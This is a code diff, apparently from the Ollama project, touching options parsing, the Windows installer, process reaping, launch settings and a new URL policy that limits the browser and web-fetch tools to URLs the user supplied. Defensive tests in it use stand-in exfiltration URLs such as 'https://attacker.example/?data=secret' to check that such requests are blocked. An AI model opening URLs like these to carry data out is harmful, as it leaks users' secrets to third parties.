 					return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
 				}
 			default:
@@ -1071,16 +1176,17 @@ func DefaultOptions() Options {
 
 		Runner: Runner{
 			// options set when the model is loaded
-			NumCtx:    int(envconfig.ContextLength()),
-			NumBatch:  512,
-			NumGPU:    -1, // -1 here indicates that NumGPU should be set dynamically
-			NumThread: 0,  // let the runtime decide
-			UseMMap:   nil,
+			NumCtx:          int(envconfig.ContextLength()),
+			NumBatch:        512,
+			NumGPU:          -1, // -1 here indicates that NumGPU should be set dynamically
+			NumThread:       0,  // let the runtime decide
+			DraftNumPredict: 4,
+			UseMMap:         nil,
 		},
 	}
 }
 
-// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low")
+// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low", "max")
 type ThinkValue struct {
 	// Value can be a bool or string
 	Value interface{}
@@ -1096,7 +1202,7 @@ func (t *ThinkValue) IsValid() bool {
 	case bool:
 		return true
 	case string:
-		return v == "high" || v == "medium" || v == "low"
+		return v == "high" || v == "medium" || v == "low" || v == "max"
 	default:
 		return false
 	}
@@ -1130,8 +1236,8 @@ func (t *ThinkValue) Bool() bool {
 	case bool:
 		return v
 	case string:
-		// Any string value ("high", "medium", "low") means thinking is enabled
-		return v == "high" || v == "medium" || v == "low"
+		// Any string value ("high", "medium", "low", "max") means thinking is enabled
+		return v == "high" || v == "medium" || v == "low" || v == "max"
 	default:
 		return false
 	}
@@ -1169,14 +1275,14 @@ func (t *ThinkValue) UnmarshalJSON(data []byte) error {
 	var s string
 	if err := json.Unmarshal(data, &s); err == nil {
 		// Validate string values
-		if s != "high" && s != "medium" && s != "low" {
-			return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", true, or false)", s)
+		if s != "high" && s != "medium" && s != "low" && s != "max" {
+			return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", \"max\", true, or false)", s)
 		}
 		t.Value = s
 		return nil
 	}
 
-	return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", true, or false)")
+	return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", \"max\", true, or false)")
 }
 
 // MarshalJSON implements json.Marshaler
@@ -1279,14 +1385,20 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
 					// TODO: only string slices are supported right now
 					out[key] = vals
 				case reflect.Pointer:
-					var b bool
-					if field.Type() == reflect.TypeOf(&b) {
+					switch field.Type().Elem().Kind() {
+					case reflect.Bool:
 						boolVal, err := strconv.ParseBool(vals[0])
 						if err != nil {
 							return nil, fmt.Errorf("invalid bool value %s", vals)
 						}
 						out[key] = &boolVal
-					} else {
+					case reflect.Int:
+						intVal, err := strconv.ParseInt(vals[0], 10, 64)
+						if err != nil {
+							return nil, fmt.Errorf("invalid int value %s", vals)
+						}
+						out[key] = intVal
+					default:
 						return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
 					}
 				default:

api/types_test.go

@@ -20,6 +20,10 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
 	return props
 }
 
+func testIntPtr(v int) *int {
+	return &v
+}
+
 // testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
 func testArgs(m map[string]any) ToolCallFunctionArguments {
 	args := NewToolCallFunctionArguments()
@@ -168,6 +172,47 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
 	}
 }
 
+func TestMainGPUParsingFromJSON(t *testing.T) {
+	tests := []struct {
+		name    string
+		req     string
+		wantGPU *int
+	}{
+		{
+			name: "Undefined",
+			req:  `{}`,
+		},
+		{
+			name:    "Zero",
+			req:     `{ "main_gpu": 0 }`,
+			wantGPU: testIntPtr(0),
+		},
+		{
+			name:    "Nonzero",
+			req:     `{ "main_gpu": 1 }`,
+			wantGPU: testIntPtr(1),
+		},
+	}
+
+	for _, test := range tests {
+		t.Run(test.name, func(t *testing.T) {
+			var oMap map[string]any
+			err := json.Unmarshal([]byte(test.req), &oMap)
+			require.NoError(t, err)
+
+			opts := DefaultOptions()
+			err = opts.FromMap(oMap)
+			require.NoError(t, err)
+
+			if test.wantGPU == nil {
+				assert.Nil(t, opts.MainGPU)
+			} else if assert.NotNil(t, opts.MainGPU) {
+				assert.Equal(t, *test.wantGPU, *opts.MainGPU)
+			}
+		})
+	}
+}
+
 func TestUseMmapFormatParams(t *testing.T) {
 	tr := true
 	fa := false
@@ -232,6 +277,12 @@ func TestUseMmapFormatParams(t *testing.T) {
 	}
 }
 
+func TestMainGPUFormatParams(t *testing.T) {
+	resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
+	require.NoError(t, err)
+	assert.Equal(t, int64(0), resp["main_gpu"])
+}
+
 func TestMessage_UnmarshalJSON(t *testing.T) {
 	tests := []struct {
 		input    string
@@ -495,6 +546,11 @@ func TestThinking_UnmarshalJSON(t *testing.T) {
 			input:            `{ "think": "low" }`,
 			expectedThinking: &ThinkValue{Value: "low"},
 		},
+		{
+			name:             "string_max",
+			input:            `{ "think": "max" }`,
+			expectedThinking: &ThinkValue{Value: "max"},
+		},
 		{
 			name:             "invalid_string",
 			input:            `{ "think": "invalid" }`,

app/cmd/app/app.go

@@ -157,10 +157,6 @@ func main() {
 		}
 	}
 
-	if u := os.Getenv("OLLAMA_UPDATE_URL"); u != "" {
-		updater.UpdateCheckURLBase = u
-	}
-
 	// Detect if this is a first start after an upgrade, in
 	// which case we need to do some cleanup
 	var skipMove bool

app/ollama.iss

@@ -14,6 +14,7 @@
 #define MyAppPublisher "Ollama"
 #define MyAppURL "https://ollama.com/"
 #define MyAppExeName "ollama app.exe"
+#define LlamaServerExeName "llama-server.exe"
 #define MyIcon ".\assets\app.ico"
 
 [Setup]
@@ -90,9 +91,8 @@ DialogFontSize=12
 [Files]
 #if FileExists("..\dist\windows-ollama-app-amd64.exe")
 Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64();  Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
-Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
-Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
+Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
 #endif
 
 ; For local development, rely on binary compatibility at runtime since we can't cross compile
@@ -103,9 +103,11 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
 #endif
 
 #if FileExists("..\dist\windows-arm64\ollama.exe")
-Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
 #endif
+#if DirExists("..\dist\windows-arm64\lib\ollama")
+Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
+#endif
 
 Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
 
@@ -118,12 +120,6 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
 Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
 
 [Run]
-#if DirExists("..\dist\windows-arm64")
-Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
-#endif
-#if DirExists("..\dist\windows-amd64")
-Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
-#endif
 Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
 
 [UninstallRun]
@@ -131,6 +127,7 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
 ; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
+Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
 ; HACK!  need to give the server and app enough time to exit
 ; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
 Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
@@ -184,46 +181,6 @@ begin
   Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
 end;
 
-{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
-const VCRTL_MIN_V1 = 14;
-const VCRTL_MIN_V2 = 40;
-const VCRTL_MIN_V3 = 33807;
-const VCRTL_MIN_V4 = 0;
-
- // check if the minimum required vc redist is installed (by looking the registry)
-function vc_redist_needed (): Boolean;
-var
-  sRegKey: string;
-  v1: Cardinal;
-  v2: Cardinal;
-  v3: Cardinal;
-  v4: Cardinal;
-begin
-  if (IsArm64()) then begin
-    sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
-  end else begin
-    sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
-  end;
-  if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1)  and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
-  begin
-    Log ('VC Redist version: ' + IntToStr (v1) +
-        '.' + IntToStr (v2) + '.' + IntToStr (v3) +
-        '.' + IntToStr (v4));
-    { Version info was found. Return true if later or equal to our
-       minimal required version RTL_MIN_Vx }
-    Result := not (
-        (v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
-         ((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
-          ((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
-           (v4 >= VCRTL_MIN_V4)))))));
-  end
-  else
-    Result := TRUE;
-end;
-
 function GetDirSize(Path: String): Int64;
 var
   FindRec: TFindRec;
@@ -370,5 +327,8 @@ procedure TaskKill(FileName: String);
 var
   ResultCode: Integer;
 begin
-    Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    if FileName <> '{#LlamaServerExeName}' then begin
+      Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    end;
 end;

app/server/server.go

@@ -83,6 +83,29 @@ func resolvePath(name string) string {
 	return name
 }
 
+func ollamaServeArgs(args []string) bool {
+	if len(args) < 2 {
+		return false
+	}
+
+	switch strings.Trim(filepath.Base(args[0]), `"`) {
+	case "ollama", "ollama.exe":
+	default:
+		return false
+	}
+
+	for _, rawArg := range args[1:] {
+		arg := strings.Trim(rawArg, `"`)
+		if strings.HasPrefix(arg, "-") {
+			continue
+		}
+
+		return arg == "serve" || arg == "start"
+	}
+
+	return false
+}
+
 // cleanup checks the pid file for a running ollama process
 // and shuts it down gracefully if it is running
 func cleanup() error {

app/server/server_test.go

@@ -205,6 +205,63 @@ func TestServerCmdCloudSettingEnv(t *testing.T) {
 	}
 }
 
+func TestOllamaServeArgs(t *testing.T) {
+	tests := []struct {
+		name string
+		args []string
+		want bool
+	}{
+		{
+			name: "system ollama serve",
+			args: []string{"ollama", "serve"},
+			want: true,
+		},
+		{
+			name: "relative path ollama serve",
+			args: []string{"./ollama", "serve"},
+			want: true,
+		},
+		{
+			name: "serve after other flags",
+			args: []string{"./ollama", "--verbose", "serve"},
+			want: true,
+		},
+		{
+			name: "start alias",
+			args: []string{"ollama", "start"},
+			want: true,
+		},
+		{
+			name: "launch command",
+			args: []string{"ollama", "launch", "opencode"},
+			want: false,
+		},
+		{
+			name: "run command with model named serve",
+			args: []string{"ollama", "run", "serve"},
+			want: false,
+		},
+		{
+			name: "launch command with serve in passthrough args",
+			args: []string{"ollama", "launch", "codex", "--", "-p", "serve"},
+			want: false,
+		},
+		{
+			name: "different executable",
+			args: []string{"go", "run", "serve"},
+			want: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := ollamaServeArgs(tt.args); got != tt.want {
+				t.Fatalf("ollamaServeArgs(%v) = %v, want %v", tt.args, got, tt.want)
+			}
+		})
+	}
+}
+
 func TestGetInferenceInfo(t *testing.T) {
 	tests := []struct {
 		name             string

app/server/server_unix.go

@@ -46,7 +46,17 @@ func terminated(pid int) (bool, error) {
 	return false, nil
 }
 
-// reapServers kills all ollama processes except our own
+func ollamaServeProcess(pid int) bool {
+	output, err := exec.Command("ps", "-p", strconv.Itoa(pid), "-o", "args=").Output()
+	if err != nil {
+		slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
+		return false
+	}
+
+	return ollamaServeArgs(strings.Fields(strings.TrimSpace(string(output))))
+}
+
+// reapServers kills external ollama serve processes except our own.
 func reapServers() error {
 	// Get our own PID to avoid killing ourselves
 	currentPID := os.Getpid()
@@ -82,6 +92,9 @@ func reapServers() error {
 		if pid == currentPID {
 			continue
 		}
+		if !ollamaServeProcess(pid) {
+			continue
+		}
 
 		proc, err := os.FindProcess(pid)
 		if err != nil {

app/server/server_windows.go

@@ -101,7 +101,29 @@ func terminated(pid int) (bool, error) {
 	return true, nil
 }
 
-// reapServers kills all ollama processes except our own
+func ollamaServeProcess(pid int) bool {
+	cmd := exec.Command("wmic", "process", "where", fmt.Sprintf("ProcessId=%d", pid), "get", "CommandLine", "/value")
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+	output, err := cmd.Output()
+	if err != nil {
+		slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
+		return false
+	}
+
+	for _, line := range strings.Split(string(output), "\n") {
+		line = strings.TrimSpace(line)
+		commandLine, ok := strings.CutPrefix(line, "CommandLine=")
+		if !ok {
+			continue
+		}
+
+		return ollamaServeArgs(strings.Fields(strings.ToLower(commandLine)))
+	}
+
+	return false
+}
+
+// reapServers kills external ollama serve processes except our own.
 func reapServers() error {
 	// Get current process ID to avoid killing ourselves
 	currentPID := os.Getpid()
@@ -138,8 +160,11 @@ func reapServers() error {
 		if pid == currentPID {
 			continue
 		}
+		if !ollamaServeProcess(pid) {
+			continue
+		}
 
-		cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
+		cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
 		if err := cmd.Run(); err != nil {
 			slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
 		}

app/store/database.go

@@ -1201,13 +1201,16 @@ func (db *database) getSettings() (Settings, error) {
 func (db *database) setSettings(s Settings) error {
 	lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
 	validLaunchView := map[string]struct{}{
-		"launch":   {},
-		"openclaw": {},
-		"claude":   {},
-		"codex":    {},
-		"opencode": {},
-		"droid":    {},
-		"pi":       {},
+		"launch":    {},
+		"openclaw":  {},
+		"claude":    {},
+		"hermes":    {},
+		"codex":     {},
+		"codex-app": {},
+		"copilot":   {},
+		"opencode":  {},
+		"droid":     {},
+		"pi":        {},
 	}
 	if lastHomeView != "chat" {
 		if _, ok := validLaunchView[lastHomeView]; !ok {

app/store/store_test.go

@@ -107,6 +107,36 @@ func TestStore(t *testing.T) {
 		}
 	})
 
+	t.Run("settings disabled home view falls back to launch", func(t *testing.T) {
+		if err := s.SetSettings(Settings{LastHomeView: "claude-desktop"}); err != nil {
+			t.Fatal(err)
+		}
+
+		loaded, err := s.Settings()
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		if loaded.LastHomeView != "launch" {
+			t.Fatalf("expected disabled LastHomeView to fall back to launch, got %q", loaded.LastHomeView)
+		}
+	})
+
+	t.Run("settings codex app home view is accepted", func(t *testing.T) {
+		if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
+			t.Fatal(err)
+		}
+
+		loaded, err := s.Settings()
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		if loaded.LastHomeView != "codex-app" {
+			t.Fatalf("expected codex-app LastHomeView to be preserved, got %q", loaded.LastHomeView)
+		}
+	})
+
 	t.Run("window size", func(t *testing.T) {
 		if err := s.SetWindowSize(1024, 768); err != nil {
 			t.Fatal(err)

app/tools/browser.go

@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
 			return b.state.Data, pageText, nil
 		}
 
+		if !allowedDirectURL(ctx, url) {
+			return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
+		}
+
 		// Page not in cache, need to crawl it
 		if b.crawlPage == nil {
 			b.crawlPage = &BrowserCrawler{}

app/tools/browser_test.go

@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
 	}
 }
 
+func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
+	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
+	bo := NewBrowserOpen(b)
+
+	_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
+	if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
+		t.Fatalf("expected direct URL rejection, got %v", err)
+	}
+}
+
+func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
+
+	if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
+		t.Fatal("expected exact user-provided URL to be allowed")
+	}
+	if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
+		t.Fatal("did not expect modified URL to be allowed")
+	}
+}
+
 func TestDisplayPage_InvalidLoc(t *testing.T) {
 	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
 	p := makeTestPage("https://example.com/x")

app/tools/url_policy.go

@@ -0,0 +1,61 @@
+//go:build windows || darwin
+
+package tools
+
+import (
+	"context"
+	"regexp"
+	"strings"
+)
+
+type directURLContextKey struct{}
+
+var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
+
+func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
+	allowed := make(map[string]struct{})
+	for _, match := range directURLPattern.FindAllString(text, -1) {
+		addAllowedDirectURLToMap(allowed, match)
+	}
+	return context.WithValue(ctx, directURLContextKey{}, allowed)
+}
+
+func addAllowedDirectURL(ctx context.Context, raw string) {
+	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
+	addAllowedDirectURLToMap(allowed, raw)
+}
+
+func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
+	if allowed == nil {
+		return
+	}
+
+	raw = cleanDirectURL(raw)
+	if raw == "" {
+		return
+	}
+
+	allowed[raw] = struct{}{}
+}
+
+func allowedDirectURL(ctx context.Context, raw string) bool {
+	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
+	cleaned := cleanDirectURL(raw)
+	if cleaned == "" || cleaned != raw {
+		return false
+	}
+
+	_, ok := allowed[cleaned]
+	return ok
+}
+
+func cleanDirectURL(raw string) string {
+	raw = strings.TrimSpace(raw)
+	raw = strings.TrimRight(raw, ".,;:!?)]}")
+
+	if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
+		return ""
+	}
+
+	return raw
+}

app/tools/url_policy_test.go

@@ -0,0 +1,21 @@
+//go:build windows || darwin
+
+package tools
+
+import "testing"
+
+func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
+
+	if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
+		t.Fatal("expected changed tool argument to be rejected")
+	}
+}
+
+func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
+
+	if !allowedDirectURL(ctx, "https://example.com/privacy") {
+		t.Fatal("expected URL wrapped in backticks to be allowed")
+	}
+}

app/tools/web_fetch.go

@@ -67,11 +67,17 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
 	if !ok || strings.TrimSpace(urlStr) == "" {
 		return nil, "", fmt.Errorf("url must be a non-empty string")
 	}
+	if !allowedDirectURL(ctx, urlStr) {
+		return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
+	}
 
 	result, err := performWebFetch(ctx, urlStr)
 	if err != nil {
 		return nil, "", err
 	}
+	for _, link := range result.Links {
+		addAllowedDirectURL(ctx, link)
+	}
 
 	return result, "", nil
 }

app/tools/web_search.go

@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
 	if err != nil {
 		return nil, "", err
 	}
+	for _, result := range result.Results {
+		addAllowedDirectURL(ctx, result.URL)
+	}
 
 	return result, "", nil
 }

app/ui/app/public/launch-icons/claude-code.svg

@@ -0,0 +1 @@
+<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Claude Code</title><path clip-rule="evenodd" d="M20.998 10.949H24v3.102h-3v3.028h-1.487V20H18v-2.921h-1.487V20H15v-2.921H9V20H7.488v-2.921H6V20H4.487v-2.921H3V14.05H0V10.95h3V5h17.998v5.949zM6 10.949h1.488V8.102H6v2.847zm10.51 0H18V8.102h-1.49v2.847z" fill="#D97757" fill-rule="evenodd"></path></svg>

app/ui/app/public/launch-icons/copilot-dark.svg

@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z" fill="white"/></svg>

app/ui/app/public/launch-icons/copilot.svg

@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z"/></svg>

app/ui/app/public/launch-icons/hermes-agent.svg

@@ -0,0 +1,181 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000" viewBox="0 0 1000 1000"><circle cx="500.0" cy="500.0" r="500.0" fill="white"/><g transform="translate(100.0 100.0) scale(0.8333333333333334)"><g transform="translate(0.000000,960.000000) scale(0.100000,-0.100000)"
+fill="black" stroke="none">
+<path d="M4485 9589 c-248 -27 -432 -60 -730 -130 -458 -108 -798 -230 -1207
+-435 -533 -267 -1072 -675 -1358 -1030 -205 -255 -442 -748 -535 -1114 -108
+-426 -97 -870 29 -1160 73 -169 236 -369 381 -467 139 -94 425 -206 425 -167
+0 3 -26 32 -58 63 -74 71 -147 182 -184 278 -16 41 -27 77 -25 79 2 3 31 -28
+63 -68 91 -114 153 -177 231 -235 40 -29 77 -62 83 -73 7 -13 4 -85 -10 -242
+-10 -123 -24 -281 -30 -353 -6 -71 -29 -296 -51 -500 -135 -1262 -202 -1568
+-378 -1733 -69 -64 -105 -77 -216 -77 -132 0 -188 20 -271 97 -110 103 -165
+248 -167 438 -1 123 12 191 60 318 20 51 33 95 29 99 -10 10 -92 -74 -136
+-137 -153 -223 -204 -504 -146 -790 19 -91 97 -252 161 -333 112 -141 316
+-237 504 -237 180 0 419 118 591 290 81 81 107 115 196 255 50 78 54 56 13
+-71 -107 -337 -343 -577 -613 -625 -213 -39 -544 99 -707 295 -93 111 -133
+199 -173 381 -34 153 -34 154 -46 135 -15 -23 -12 -194 5 -305 42 -280 149
+-488 327 -636 133 -111 287 -195 465 -254 62 -20 115 -40 117 -44 3 -4 12 -43
+21 -87 44 -222 199 -385 416 -438 96 -24 265 -21 359 5 138 38 281 148 388
